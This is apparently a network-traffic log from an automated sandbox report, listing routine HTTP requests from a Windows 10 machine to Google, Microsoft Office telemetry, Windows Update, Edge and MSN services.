Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WoVE+8AWTKdCxkC&MD=vvATdgG1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731921959269&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D52F0FB785F6B62058EE5C0797A6A2B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0D52F0FB785F6B62058EE5C0797A6A2B&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=229277e91d044e7c8ecfd031ce1d7bf7 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0D52F0FB785F6B62058EE5C0797A6A2B; _EDGE_S=F=1&SID=3AB13C3DB47766A62C2D2906B5666716; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732521340&P2=404&P3=2&P4=CNRVhVhOH4oAeBbUPDFd8a8pmfj4QIhtaZaPThPyo5q4UWMqjB24VHdg3blZ169EWQa%2bbYxZ1u791jo2%2fkrozw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: cpJjJRpEDUrC69Ry5FEUmESec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
